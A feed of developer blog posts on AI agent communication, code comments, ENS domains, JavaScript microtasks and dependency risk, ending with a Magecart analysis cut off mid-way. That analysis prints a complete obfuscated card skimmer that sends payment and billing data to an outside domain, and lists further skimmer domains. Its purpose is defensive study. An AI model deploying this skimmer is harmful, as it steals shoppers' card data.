Forem: bgauryy

Mind the Gap: Bridging AI and Human Communication

bgauryy — Fri, 11 Apr 2025 18:06:57 +0000

AI agents are getting smarter by the day — solving tasks, querying APIs, summarizing data, and even collaborating with other agents. But something still feels… robotic. Cold. Sometimes even frustrating.
Why?
Because while our agents may process language, they don’t truly communicate like humans do.
In this post, I want to share an idea: what if we made AI protocols more human by design — not just functional, but semantically rich, emotionally aware, and socially intelligent?

What’s Missing in AI Communication?

Traditional agent communication focuses on information, not meaning. Most protocols like MCP (Model Context Protocol) or A2A (Agent-to-Agent) lack the deeper layers of human communication, such as:

Intent

What Humans Do: We say things to ask, inform, joke, suggest

What Most AI Agents Miss: AI rarely marks its purpose explicitly

Emotion

What Humans Do: We signal frustration, joy, sarcasm

What Most AI Agents Miss: Most agents ignore emotional tone

Clarification

What Humans Do: “Wait, what do you mean?”

What Most AI Agents Miss: Agents just move on or hallucinate answers

Confidence

What Humans Do: “I think…” vs. “I’m sure”

What Most AI Agents Miss: No confidence levels in many agent messages

Tone & Politeness

What Humans Do: “Hey, could you help me?”

What Most AI Agents Miss: Agents are often blunt or too formal

Roles

What Humans Do: Friend? Boss? Intern?

What Most AI Agents Miss: Agents don’t adapt tone based on roles

Trust

What Humans Do: We assess who’s credible or not

What Most AI Agents Miss: AI doesn’t share or track trustworthiness

Intuition

What Humans Do: We often “just know” when something feels off — even without full data

What Most AI Agents Miss: AI requires explicit input or context; it can’t yet “sense” urgency, danger, or hidden intent unless directly told

Real-Life Example - Meeting Scheduling

Imagine you’re using an AI agent to schedule a meeting for your team.

You: “Create a meeting with all teammates at the most suitable hour this week.”

Most agents might reply with:
“Meeting scheduled: Wednesday at 12:00 PM. All participants invited.”

It did the job — but it missed the human factors.

A more human-aware agent could respond:
“I’ve checked everyone’s calendars and found a time when no one is in deep work or back-to-back meetings. Wednesday at noon seems ideal. However, Sam needs to leave by 1:00 PM, and Amanda has had a tough week and hasn’t caught up on her tasks. Does this time still work for you, or should we consider another option?”

- It understands the intent — not just “find a free time,” but “make it convenient and considerate.”

- It recognizes team dynamics — avoiding context-switching and meeting fatigue.

- It reflects tone and flexibility.

- It invites clarification before locking in a decision.

That’s a smarter, more thoughtful interaction — one that shows emotional and social intelligence, not just scheduling.

Real-Life Example - Better assistant for psychologists

AI can also support psychologists by helping them be more accurate and attentive with their patients. For instance:

-  Early signs of depression, anxiety, or PTSD can be flagged faster using tone recognition (and not just text for example).

- Analyzing Subtle changes in speech patterns, tone, or expression which might signal emotional distress.

By enhancing observation, more context and data, AI will become a more valuable partner in mental health — improving care, not replacing it.

How Do We Fix This?

We might need to upgrade our protocols to include more human-like metadata in every message agents send to each other or to users.

Simple Example -

{
  "intent": "suggest",
  "tone": "collaborative",
  "confidence": 0.78,
  "role": "assistant",
  "emotion": "neutral-curious",
  "goal": "recommend_best_option",
  "rationale": "based_on_past_user_feedback_and_context",
  "message": "Would you like me to try an alternative approach?",
  "context": "{{members_data / any}}"
}

More data and context will give AI models the ability to have more accurate answers and act in more accurate way while performing any task.

The Benefits of Humanizing Agents

Better multi-agent collaboration (agents understand goals, roles, trust)
More natural human-AI interaction (especially in assistants, copilots, therapy bots, etc.)
Improved AI safety and transparency (you know why an agent made a decision)
Close the gap between software to human intentions

Final Thought

I truly believe that the future will be better with AI agents that communicate with meaning, not just text.
When agents become more like humans — not in personality, but in understanding — they’ll become not just useful assistants, but trusted collaborators.

And after all, human communication is one of our greatest strengths as a species.
It’s time our agents learned a bit of it too._

Clean Code in the Age of AI: Why Machines Need Comments Too 🤖🧠

bgauryy — Fri, 11 Apr 2025 16:57:05 +0000

_Disclaimer: These are my personal thoughts and observations, based on my experience working with AI tools and modern development practices.
_

Since 2008, when Robert C. Martin released Clean Code, developers have lived by a few golden rules:

"Clean code speaks for itself"
Avoid comments — just write better code
Tests should be self-explanatory
Use small functions and abstract aggressively

These ideas made a lot of sense — for humans. They were born in an era where the main audience of your code was another developer reading it line-by-line.

But here's the shift -
We're no longer writing code just for humans.

We're writing it for AI agents, too...

Protocols like Model Context Protocol (MCP) and Agent-to-Agent (A2A) communication are pushing AI beyond "just chat". These protocols aim to give machines enough structured knowledge and context to reason about systems, interact with them, and even modify or debug code on your behalf.

But there's a catch:

❌ No comments in tests?
An AI agent won’t know why the test exists or what edge case it’s trying to guard against.

❌ Missing documentation?
Humans might guess what a class or module does. AI doesn’t. Without docs, APIs become black boxes.

❌ Over-abstracted “clean” code?
Machines struggle when logic is split across many files and layers. Too many indirections = confusion.

🧩 Why Human-Friendly Documentation Matters (Now More Than Ever)

MCP-based agents rely on structured inputs like:

Project metadata
Dependency trees
API definitions
Comments and contextual cues
Workspace structure and environment configs

The more context we give them — via thoughtful naming, docs, comments, and structure — the more useful and accurate these agents become.

Want better docs using AI? Create better docs now!

It’s time to evolve our standards:

✅ Add useful comments (especially in tests, APIs, configs)
✅ Write clear, intentional documentation — not just auto-generated stuff
✅ Avoid unnecessary abstractions — prefer clarity over cleverness
✅ Think in "AI-first readability" terms: is this code understandable
with limited context?

🧠 Ask Yourself:

🤔 Can a machine or junior dev understand what this code is doing?

🤔 If my service were exposed via MCP — is there enough context for it to be useful?

🤔 Would an AI agent be able to safely refactor or debug this logic?

🤔 Does my abstraction actually simplify things — or just hide complexity?

🔁 Bottom Line:

Clean Code helped us write better software for teams.

But in the AI-powered era — where models interact, debug, generate, and reason via protocols like MCP and A2A — we must level up.

Don’t throw away the old rules. Adapt them.
Write for humans and machines

Your future AI teammates will thank you 🤖❤️👨

ENS (Ethereum Name Service) Domains Research

bgauryy — Sat, 07 May 2022 13:34:37 +0000

If you haven't heard about ENS, you should do it now!
To cut long story short, ENS is a service that maps Ethereum addresses to a meaningful URL (human-readable). it's similar to what DNS is for IPs and URLs.

For example, such ethereum address - 0x7f13913E739d03c7CD55FD3693E256bB236C396B7
Could be mapped to username.eth, someService.eth, someWeb3Application.eth, or any meaningful string that could be useful in a world where crypto will be more used and adopted.

ENS (as a service and as a concept) could be the next evolution for the internet (using web3), so people and organizations are trying to grab and accumulate them as much as they can right now.

Another current hyped use case is to buy the index of the NFT that you own from a collection. let's say you're holding bored ape yacht club number #1234, and you want to be associated with it, you would probably want to buy 1234.eth.

Don't believe the hype? so take a look on 555.eth, which was sold for nothing less than
55.5 Ethereum! ($149,584.71) on 28/4/22

For this moment ENS: Ethereum Name Service is the 8th most traded collection on Opensea with 375k domain owners and more than 1 million registered domains.

Results

Now, I was curious about what is the smallest available numeric ens address (e.g 100.eth), and I was shocked to reveal that all the addresses between 100.eth to 100000.eth are already taken!

Fun fact - the smallest available numberic domain is 100113

Available numeric domains (updated on 8/5/22)

Scraper Project

In order to find available Ethereum domains efficiently, I created a this project, which allowed me to check for available addresses at a speed of ~0.45 seconds per domain.

I executed this code on my computer - the speed could be improved if it will be used with multiple processes (using docker for example...)

This code is just a POC and was made for fun, but feel free to fork and check for more available addresses.
Maybe they will be much more valuable in the future...

Have fun!

https://github.com/bgauryy/ens-scraper

JS - Microtask Recursion Trick

bgauryy — Sun, 04 Oct 2020 16:06:03 +0000

Recursion is an operation that a lot of developers are trying to avoid since it is very dangerous, and can break the execution of applications in a fraction of a bug, but it is needed in some scenarios (e.g tree iteration). This post is for technical readers who want to learn how to use recursion efficiently using Microtasks. I assume that you're already familiar with JavaScript event loop mechanism

So, my story is not too long and started on the last weekend when I needed to write code to traverses a tree object.

I needed to create a code with a recursive logic, so I needed to split my code to avoid stack overflows (RangeError exceptions) since the stack is limited to maximum stack frames.
You can check your browser stack limitation here

Naturally, I knew that I need to "break" the iteration using timing API (setTimeout/setInterval) and I started with a naive approach that is similar to this structure:

function run() {
    const max = 50000;
    let count = 0;

    const start = performance.now();
    (function run() {
        if (count < max) {
            count++;
            if (count % 100 === 0) {
                setTimeout(run, 0);
            } else {
                run();
            }
        } else {
            console.log(`Done: ${performance.now() - start}`);
        }
    })();
}

When I checked the execution time of this given code I wasn't too happy ( ~2500ms ) and I wanted to get better results.
I was thinking about a better approach to my problem, I came up with a new pattern. I replaced the usage of Timing API with microtasks.

function run() {
    const max = 50000;
    let count = 0;
    const start = performance.now();

    return new Promise((resolve) => {
        (function _run() {
            if (count < max) {
                count++;
                if (count % 100 === 0) {
                    queueMicrotask(_run);
                } else {
                    _run();
                }
            } else {        
                console.log(`Done: ${performance.now() - start}`);
                resolve(performance.now() - start);
            }
        })();
    });
}

The execution time of this pattern was 675.6 times faster! ( 3.7ms)

Microtask usage approach is working better rin such scenarios for two main reasons:

Timing API is not deterministic
- browsers are using throttling on repetitive timing API calls (official minimal timeout time is 4ms )
  - Timing API:
    - setTimeout
    - setInterval
  - Micro task examples (no throttling)
    - queueMicrotask
    - Promise
Micro tasks execution vs tasks execution
According to the processing model algorithm, the micro-tasks execution algorithm is fast and efficient. All it does is to execute all the micro-tasks once the stack is empty (no queue management).

conclusion

Javascript is not a language for heavy computations or recursions logic, but if you need to execute recursive execution as fast as you can,
without stack size limitation, using micro-tasks might help you.

Web Application Dependencies - use them wisely

bgauryy — Sat, 11 Apr 2020 12:21:53 +0000

This post is about node dependencies and their meaning in your web applications. If you're using external dependencies in your project (and you're probably are), this post is for you!

The best thing about being a developer in 2020 is that there are a lot of open-source projects that can help with speeding up your developing process, and there are a lot of external libraries that can solve common problems seamlessly.

Using external dependencies has changed the game years ago since developers were able to invest more time in their application logic, by using out of the box solutions.

There are two kinds of dependencies:

Development
- dependencies that are executed on developers environments or on remote hosts for internal processes (e.g CI/CD, deployment...)
Runtime
- Back-end dependencies
  - dependencies that take part in HTTP communication
  - dependencies that are running on you back-end environment
- Front-end dependencies
  - dependencies that execute on your user's environment (browser)

External libraries have given the ability to use code that was tested across many environments, and major projects usually have supportive communities and hard-working code owners (god bless them all), that keeps those projects alive.

On the other hand publishing, an open-source is not require anything but a valid user, and there is no regulation on the quality of open-source projects.
npm registry has more than 350k published packages at the moment, so statistically, some of them are not too good for your project.

External dependencies have three main effects on your web application (including dependencies from your HTML file)

Security
Using external code could be dangerous since ambiguous libraries could add malicious code to your development environment or your user's runtime (intentionally or by supply chain attacks)

examples: back-end dependency that steals development credentials or front-end dependency that steals PII from your users.

Performance
Code execution is not "free" (Newton’s third law 😁 ), so adding external code might cause some performance issues since using generic and solutions for relatively easy problems could cause an overhead.

example - using lodash.concat function instead of Array.prototype.concat with no good reason

Also, some libraries "hide" bugs, that might cause memory leaks or CPU overuse when used in scale or untested environments.
Some of these bugs are hard to detect, but as popular the open-source is, the less likely it will happen (or won't be fixed)

Bundle size
Adding dependencies to the front-end bundle will increase the loading time of a page (more resources -> more bytes to download -> more time), and page loading time has a direct effect on conversion rate, so heavy and not optimized front-end libraries might become expensive to your business.

There is a trade-off between using dependencies freely and investing time on investigating them since dependencies are used to solve problems fast, and not to create more work.
Developers should have the freedom to use dependencies since they are decreasing development time and serve smart solutions out of the box, but dependencies should be used wisely.

Solutions

Security

Scan your static dependencies using services such as Snyk. You can also add security alerts to your Github repository and to your CI/CD process.
Use lock files (package-lock.json, yarn.lock) to ensure that dependencies are installed currently between environments, and be strict with your dependencies versions (do not use * for versions in your package.json file)
Monitor your front end execution using web security services such as PerimeterX Code Defender. You will never really know what is happening in your runtime if you won't monitor it in the right way (you shouldn't do it yourself).

Performance

Runtime monitoring
- rendering
  - Largest Contentful Paint
  - first-paint, first-contentful-paint)
- long tasks
- Document state change time (load, DOMContentLoaded)
- Conversion rate changes (any business has its own conversion metric)
- Measure your own code and your business logic (which is using the external dependencies)
Use lighthouse
Use chrome's performance tab to investigate performance issues

Collecting data from 1% of your users is sufficient enough to detect bottlenecks

Code size

Check the size of any external code (e.g don't add 10k library only for one function...)
Avoid adding dependencies from your HTML file as much as you can. Adding dependencies in the compilation time will allow to us tree-shaking to reduce the final payload size.

Personal suggestions

Read the code of open-source projects that you're using. It will help you to detect potential bugs and will improve your coding skills.
Check for known issues and bugs of libraries that you're using
Use only up-to-date dependencies (you can always check for the last commit). "Dead projects" means bugs and future compatibility issues.
Don't use dependencies to solve all of your problems. Try to create your solution from time to time (when it make sense), and it will make you a better programmer.
Create or contribute to an open-source project. It is fun to contribute to the community, and it nice to know that your code is helping other projects (I'm working on these two projects these days: webscanner, script-pattern-factory)

Thanks for reading!
This post is more about the awareness of using external code, and I hope that I could help you manage your dependencies in a better way.

Analyzing Magecart Malware – From Zero to Hero

bgauryy — Sat, 15 Feb 2020 12:45:57 +0000

TL;DR

Javascript obfuscation is not a new trend, but it is widely used today to hide malware code in many websites. This post is for
technical readers who want to understand Magecart's common obfuscation
pattern, and ways to decode it.

As websites get more and more complex, we see an increasing number of sites that are being compromised by malicious code injections.
These attacks are designed to steal user data such as credit card numbers from websites, and if left unchecked, can result in significant data breaches and huge fines for the website owner.

Magecart attacks often go unnoticed for weeks, months or even years. One reason that they escape scrutiny is that the injected JavaScript code is heavily obfuscated, making it hard to detect malicious script actions and data leaking to unauthorized domains. However, a significant number of these obfuscated scripts seem to share a pattern.

Obfuscation

“the action of making something less clear and less easy to understand, especially intentionally” - Cambridge Dictionary

Take a look at this Magecart attack sample.
This code steals credit card details from users and this sample is from an ongoing attack.

var _0x34d5 = ['Q29udGVudC1UeXBl', 'YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk', 'c2V0UHVibGljS2V5', 'TUlJRUlqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0JBOEFNSUlFQ2dLQ0JBRUF3NTZoY3Z1R25QZHZaM0hGQWtLN1QyR2EweTJaS2hkdjJhVG9SU1BzbWtFRVAyR2RsY1FrTTY4a0VXeHliWXBDWG45eXg5OFJxTFNNYStDUjYvUkZKaFZMUVNLdHkrNm16U2IyTURSYitUVks3NWpCN1F5aGZ6TVdacFYySlBzdGFyMGxxRkxwR3owdFJIS1lTY1h0VnZnNWVUWThtcjZ0dXlZK0VHTEw1SFd3UzFqSnBtaHNEN0RxZGQ1TTkxbElRemVtTU5nNWp2RktNclNlU1NSQlFZR1lSRDFWekVremEra3A2UVdlS1ZocWVVL0xFdFlZYUU4SlRlWGwzV1E2UExVNmZleXJndlFrN0MxeEhmeEVTVWx2UVl6aFlsbmt0clVBTmxxQVRyQ2JyTGtDL0oyNWx0T08vY2lsb0xKV3I0TWFHbERWU01FS1ZLYTNsQUt6SlJoNUd4SkovWDB2M0hzT0hsVUR5aW5ZdlA0eGpBWXRnWFZoYVBLbldDelNndjV2eWpmdEczQWlmZHlsOVFLejRuejZKRS9lOXE2YjhhNGdCM25kNm4xVDlVdklpNXhpdHhzZHBPNDVwWm1uN0dXQTgxOUJORElTZHNIcEcvSG9LL080N2xZTXFoRHJHWVhoZ2oxZWNodmJLSXJOdGxZMGZmd1U3QzYxR1l5TGVLbzF1aWhkU0gvaUF3czZyY25iWXFNM0hXN3RibncyaDhOZm1haVVZcDF3ek1oZ0ozQ3grVHhjcXdGTU0wU01LajF1SHVsSWo0MTg0WVJFMW5weEl3T1VSd3FENnJNbko0WXZqMFl2ZnZMQmJJN1krZ1N3YTJoTHJqbEJwN0V6b3VqdjBaSjRyOWdhK3ZIQmpkVUNtcmlONVNla3RJaWd4R3hRbklaWG1MWTdVTExkdmtoNlY4N2VMVi83ODF3eW1YbmVPaEtTblN6TmdXRU5ZNERMTDcvdGdzUnVxQW9tb0xHa0phTEorWmpBZ29hMno3cXdkUFc4d3liMW12L29qL3hadzA2d3Z2NVZPZlhvTXBjcTFUMkxldjl4T2FuL0dkeGREUytLSlJkQkZYL1c4WS9Ydi9wM0ZRQUpCdS95QXVaM0RoMjh4V1FubE1WczJBazZWbGdGQTdoK1ljZjBvVkpLTno0WDllMExGNUc2TGtTWXgxU1ZMV1ZqNWQ4VkVXNnFhNnN0QStFRERURXhhTUt6Y2pjYzhSc09SUXN0TTkxR2MrbEYvaHA3NndTb0pFeGVBMjNYL1g3dXI0allrUlpueElZSWxxMnFxRkVqYko4WjdnUE0rQ25neXpJM2pnZmhaai9aeVJDaHFtNlc2dFRkRlppdU0wVFdZTExjTE1TUklVZ1E1ajU3SkFydXFiZ2VJOXZaYUR1My9GQzZwRXYvc2tqUDZBN09qcXcrdFBiRzFndkg0dmJjM21nQ3NjRVFZUXozQUFGTVduakZyR2dBU1hETzZGTDk5dkxkdXRsS3NKV01TU2RuMktUaFQ4a3luMTA5V0dUc0syeDg5MEFOU3JmQ01pQ2d4UWN1U2wzUGdFRUZ0Unh0MFNpVDQybDNSWmY0UEVncXFUMVlkSVZkYzV3Sm4xOVhWNkdubDJqWDRieGZmMjdyUUFneDRQVXFvL3V6dG8yeTFrNU42WXpVTFh5dFF4MEpNcXQ3MEFVVnRkZzg0S29uckpZMmY1YUxVM0pVTWVrUmM0bDE3dHJVU1J0alZhN2FZdXh0cGo3K2wvckcwTUtWM0ZYYS9TeE11WDVWcmM4Ky8xUkdKcy9HVFY3Q2VhcHcxUUFtWm9BVnhRSURBUUFC', 'ZW5jcnlwdA==', 'c2VuZA==', 'cGxhY2Vfb3JkZXI=', 'cGxhY2Utb3JkZXI=', 'cGF5bWVudC1idXR0b25zLWNvbnRhaW5lcg==', 'YmlsbGluZy1idXR0b25zLWNvbnRhaW5lcg==', 'cmV2aWV3LWJ1dHRvbnMtY29udGFpbmVy', 'bGVuZ3Ro', 'W2lkKj0n', 'cXVlcnlTZWxlY3RvckFsbA==', 'YWRkRXZlbnRMaXN0ZW5lcg==', 'Y2xpY2s=', 'YnRuLWNoZWNrb3V0', 'W2NsYXNzKj0n', 'bG9hZA==', 'aG9zdG5hbWU=', 'bG9jYXRpb24=', 'aW5wdXQ=', 'aW5kZXhPZg==', 'X2NjX251bWJlcg==', 'c3Vic3Ry', 'dm1fY2NfbnVtYmVy', 'Z2V0RWxlbWVudEJ5SWQ=', 'dmFsdWU=', 'dm1fZXhwaXJhdGlvbg==', 'X2V4cGlyYXRpb24=', 'dm1fZXhwaXJhdGlvbl95cg==', 'X2V4cGlyYXRpb25feXI=', 'dm1fY2NfY2lk', 'X2NjX2NpZA==', 'X2NjX2V4cF9tb250aA==', 'X2NjX2V4cF95ZWFy', 'X2NjX2N2dg==', 'Zmlyc3RuYW1l', 'bGFzdG5hbWU=', 'ZW1haWw=', 'c3RyZWV0MQ==', 'c3RyZWV0Mg==', 'Y2l0eQ==', 'cmVnaW9uX2lk', 'Y291bnRyeV9pZA==', 'cG9zdGNvZGU=', 'dGVsZXBob25l', 'YmlsbGluZzo=', 'c3RyaW5naWZ5', 'dHBzOi8vbGlnaHRnZXRqcy5jb20=', 'b3Blbg==', 'UE9TVA==', 'c2V0UmVxdWVzdEhlYWRlcg=='];
(function (_0x110cd2, _0xa263bd) {
    var _0x352891 = function (_0x76a704) {
        while (--_0x76a704) {
            _0x110cd2['push'](_0x110cd2['shift']());
        }
    };
    _0x352891(++_0xa263bd);
}(_0x34d5, 0xa5));
var _0x47fb = function (_0x522b23, _0x4fa39c) {
    _0x522b23 = _0x522b23 - 0x0;
    var _0xdb42df = _0x34d5[_0x522b23];
    if (_0x47fb['IyfmVK'] === undefined) {
        (function () {
            var _0x28a5cc = function () {
                var _0x3f5c15;
                try {
                    _0x3f5c15 = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
                } catch (_0x7f7a59) {
                    _0x3f5c15 = window;
                }
                return _0x3f5c15;
            };
            var _0x1a2269 = _0x28a5cc();
            var _0x2009de = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            _0x1a2269['atob'] || (_0x1a2269['atob'] = function (_0x2633f6) {
                var _0x1bf8c8 = String(_0x2633f6)['replace'](/=+$/, '');
                for (var _0x4e57f1 = 0x0, _0x5122c7, _0x5cb7d8, _0x2540b4 = 0x0, _0x140365 = ''; _0x5cb7d8 = _0x1bf8c8['charAt'](_0x2540b4++); ~_0x5cb7d8 && (_0x5122c7 = _0x4e57f1 % 0x4 ? _0x5122c7 * 0x40 + _0x5cb7d8 : _0x5cb7d8, _0x4e57f1++ % 0x4) ? _0x140365 += String['fromCharCode'](0xff & _0x5122c7 >> (-0x2 * _0x4e57f1 & 0x6)) : 0x0) {
                    _0x5cb7d8 = _0x2009de['indexOf'](_0x5cb7d8);
                }
                return _0x140365;
            });
        }());
        _0x47fb['cJuRna'] = function (_0x55fba5) {
            var _0xfd7af3 = atob(_0x55fba5);
            var _0x953b7b = [];
            for (var _0x192361 = 0x0, _0x1f2b27 = _0xfd7af3['length']; _0x192361 < _0x1f2b27; _0x192361++) {
                _0x953b7b += '%' + ('00' + _0xfd7af3['charCodeAt'](_0x192361)['toString'](0x10))['slice'](-0x2);
            }
            return decodeURIComponent(_0x953b7b);
        };
        _0x47fb['naGzua'] = {};
        _0x47fb['IyfmVK'] = !![];
    }
    var _0x11ff5c = _0x47fb['naGzua'][_0x522b23];
    if (_0x11ff5c === undefined) {
        _0xdb42df = _0x47fb['cJuRna'](_0xdb42df);
        _0x47fb['naGzua'][_0x522b23] = _0xdb42df;
    } else {
        _0xdb42df = _0x11ff5c;
    }
    return _0xdb42df;
};

function readyr() {
    try {
        var _0x5bbf66 = [_0x47fb('0x0'), _0x47fb('0x1'), _0x47fb('0x2'), _0x47fb('0x3'), _0x47fb('0x4')];
        var _0x8475c0 = _0x5bbf66[_0x47fb('0x5')];
        for (var _0x2e623e = 0x0; _0x2e623e < _0x8475c0; _0x2e623e++) {
            f = _0x5bbf66[_0x2e623e];
            try {
                k = _0x47fb('0x6') + f + '\x27]';
                var _0x7ddc45 = document[_0x47fb('0x7')](k), _0x5d458a = 0x0;
                for (; _0x5d458a < _0x7ddc45[_0x47fb('0x5')]; _0x5d458a++) {
                    _0x7ddc45[_0x5d458a][_0x47fb('0x8')](_0x47fb('0x9'), bts);
                }
            } catch (_0x375bef) {
            }
        }
    } catch (_0x36add6) {
    }
    try {
        var _0x5bbf66 = [_0x47fb('0xa')];
        var _0x8475c0 = _0x5bbf66[_0x47fb('0x5')];
        for (var _0x2e623e = 0x0; _0x2e623e < _0x8475c0; _0x2e623e++) {
            f = _0x5bbf66[_0x2e623e];
            try {
                k = _0x47fb('0xb') + f + '\x27]';
                var _0x7ddc45 = document[_0x47fb('0x7')](k), _0x5d458a = 0x0;
                for (; _0x5d458a < _0x7ddc45[_0x47fb('0x5')]; _0x5d458a++) {
                    _0x7ddc45[_0x5d458a][_0x47fb('0x8')](_0x47fb('0x9'), bts);
                }
            } catch (_0x24b4f5) {
            }
        }
    } catch (_0x196a93) {
    }
}

window[_0x47fb('0x8')](_0x47fb('0xc'), readyr);
setInterval(bts, 0x7d0);
var vvk = '';

function bts() {
    try {
        var _0x34f9e9 = {};
        _0x34f9e9[_0x47fb('0xd')] = window[_0x47fb('0xe')][_0x47fb('0xd')];
        var _0x4a60b2 = document[_0x47fb('0x7')](_0x47fb('0xf'));
        var _0x570cfd = _0x4a60b2[_0x47fb('0x5')];
        var _0x57a5b3 = '';
        for (var _0x1e5f96 = 0x0; _0x1e5f96 < _0x570cfd; _0x1e5f96++) {
            el = _0x4a60b2[_0x1e5f96]['id'];
            pos = el[_0x47fb('0x10')](_0x47fb('0x11'));
            if (pos > 0x0) {
                _0x57a5b3 = el[_0x47fb('0x12')](0x0, pos);
            }
        }
        if (!_0x57a5b3) return;
        var _0x553440 = _0x57a5b3;
        try {
            _0x34f9e9[_0x47fb('0x13')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x11'))[_0x47fb('0x15')];
        } catch (_0x1f7150) {
        }
        if (!_0x34f9e9[_0x47fb('0x13')]) return;
        try {
            _0x34f9e9[_0x47fb('0x16')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x17'))[_0x47fb('0x15')];
        } catch (_0x136215) {
        }
        try {
            _0x34f9e9[_0x47fb('0x18')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x19'))[_0x47fb('0x15')];
        } catch (_0x4ab22b) {
        }
        try {
            _0x34f9e9[_0x47fb('0x1a')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x1b'))[_0x47fb('0x15')];
        } catch (_0x4df1f0) {
        }
        try {
            if (!_0x34f9e9[_0x47fb('0x16')]) {
                _0x34f9e9[_0x47fb('0x16')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x1c'))[_0x47fb('0x15')];
            }
        } catch (_0x90cd50) {
        }
        try {
            if (!_0x34f9e9[_0x47fb('0x18')]) {
                _0x34f9e9[_0x47fb('0x18')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x1d'))[_0x47fb('0x15')];
            }
        } catch (_0x188c28) {
        }
        try {
            if (!_0x34f9e9[_0x47fb('0x1a')]) {
                _0x34f9e9[_0x47fb('0x1a')] = document[_0x47fb('0x14')](_0x553440 + _0x47fb('0x1e'))[_0x47fb('0x15')];
            }
        } catch (_0x32a59b) {
        }
        var _0x1e9e38 = 0x0;
        if (_0x34f9e9[_0x47fb('0x13')][_0x47fb('0x5')] == 0xf && _0x34f9e9[_0x47fb('0x1a')][_0x47fb('0x5')] > 0x3) _0x1e9e38 = 0x1;
        if (_0x34f9e9[_0x47fb('0x13')][_0x47fb('0x5')] > 0xf && _0x34f9e9[_0x47fb('0x1a')][_0x47fb('0x5')] >= 0x3) _0x1e9e38 = 0x1;
        if (!_0x1e9e38) return;
        var _0xe078a8 = [_0x47fb('0x1f'), _0x47fb('0x20'), _0x47fb('0x21'), _0x47fb('0x22'), _0x47fb('0x23'), _0x47fb('0x24'), _0x47fb('0x25'), _0x47fb('0x26'), _0x47fb('0x27'), _0x47fb('0x28')];
        _0x570cfd = _0xe078a8[_0x47fb('0x5')];
        for (var _0x1e5f96 = 0x0; _0x1e5f96 < _0x570cfd; _0x1e5f96++) {
            _0x553440 = _0xe078a8[_0x1e5f96];
            k = _0x47fb('0x29') + _0x553440;
            try {
                _0x34f9e9[_0x553440] = document[_0x47fb('0x14')](k)[_0x47fb('0x15')];
            } catch (_0x12e01e) {
            }
        }
        if (!_0x34f9e9[_0x47fb('0x27')]) return;
        if (_0x1e9e38) {
            _0x34f9e9 = JSON[_0x47fb('0x2a')](_0x34f9e9);
            if (_0x34f9e9[_0x47fb('0x5')] == vvk[_0x47fb('0x5')]) return;
            vvk = _0x34f9e9;
            var _0x4c73bd = new XMLHttpRequest();
            url = 'ht' + _0x47fb('0x2b');
            _0x4c73bd[_0x47fb('0x2c')](_0x47fb('0x2d'), url + '', ![]);
            _0x4c73bd[_0x47fb('0x2e')](_0x47fb('0x2f'), _0x47fb('0x30'));
            var _0xd96713 = new JSEncrypt();
            _0xd96713[_0x47fb('0x31')](_0x47fb('0x32'));
            var _0x5dc551 = _0xd96713[_0x47fb('0x33')](_0x34f9e9);
            _0x4c73bd[_0x47fb('0x34')]('k=' + _0x5dc551);
        }
    } catch (_0x2661d6) {
    }
}

The obfuscated code doesn’t make a lot of sense at first, but upon closer inspection we can see that it has a structure that repeats across many different Magecart scripts that we have analyzed. It uses two main techniques.

1.Javascript syntax manipulation

This involves using any number of Javascript language tricks to manipulate data (e.g., using non-decimal values for strings and numbers, randomizing variable names, using chained commas in return statements, etc.)

2.Common Obfuscation Pattern

This is a common JavaScript obfuscation pattern that we see repeated across many different Magecart attack scripts.

More Magecart samples:

//cdndeskpro[.]com/mc[.]js
//listrakjs[.]com\/api[.]js
//lightgetjs[.]com\/light[.]js

The Magecart Pattern

Magecart code uses a classic obfuscation technique, which is also used by several legitimate obfuscation services. This technique is effective, but once you understand the common pattern, you can de-obfuscate it and uncover the logic.

The pattern contains three layers:

Content Layer
a set of data tokens, that requires a decryption step, to become the real data values
Decryption Layer
A function that gets a data key as a parameter (from the Logic layer) and gets the corresponding data token from the Content layer. The function decrypts the data token using a dedicated algorithm (e.g window.atob) to retrieve the original data value.
Logic Layer
The actual malware code. This code gets real the data values for its execution by calling the Decryption layer8 with *data keys.

Pattern Overview

Notes

Some obfuscation techniques don't have a Content layer. In such cases, the Decryption layer is parsing data tokens directly from the Logic layer
Some obfuscation techniques might have more than one decryption function.

Example:

//Content
const dataTokens = ['cGF0dGVybg==', 'aGVsbG8='];

(function prepareContent(_dataTokens, shiftCount) {
    for (let i = 0; i < shiftCount; i++) {
        _dataTokens.push(_dataTokens.shift());
    }
})(dataTokens, 0x1);

//Decryption
function getRealValue(dataKey) {
    const realValue = atob(dataTokens[dataKey]);
    return realValue;
}

//Logic
run();

function run() {
    console.log(getRealValue(0x0) + ' ' + getRealValue(0x1)); //"hello pattern"
}

Content:

dataTokens - an array of data tokens (cGF0dGVybg==, aGVsbG8=)
prepareContent - a function that shifting the array once

Decryption

getString(): a function that gets a data key from the Logic layer, retrieves the correlative data token from the Content layer, and then executes window.atob on the data token to get the real data value.

Logic

Prints “hello pattern” using data keys (0x0, 0x1)
getRealValue(0x0) -> “hello”
getRealValue(0x1) -> “pattern”

Magecart Pattern Analysis

Now let's analyze the Magecart attack code seen above using this pattern (Content, Decryption, Logic)

Content
- _0x34d5: an array of data tokens
- There is a preparation step that is shifting the array 165 times (0xa5 === 165).

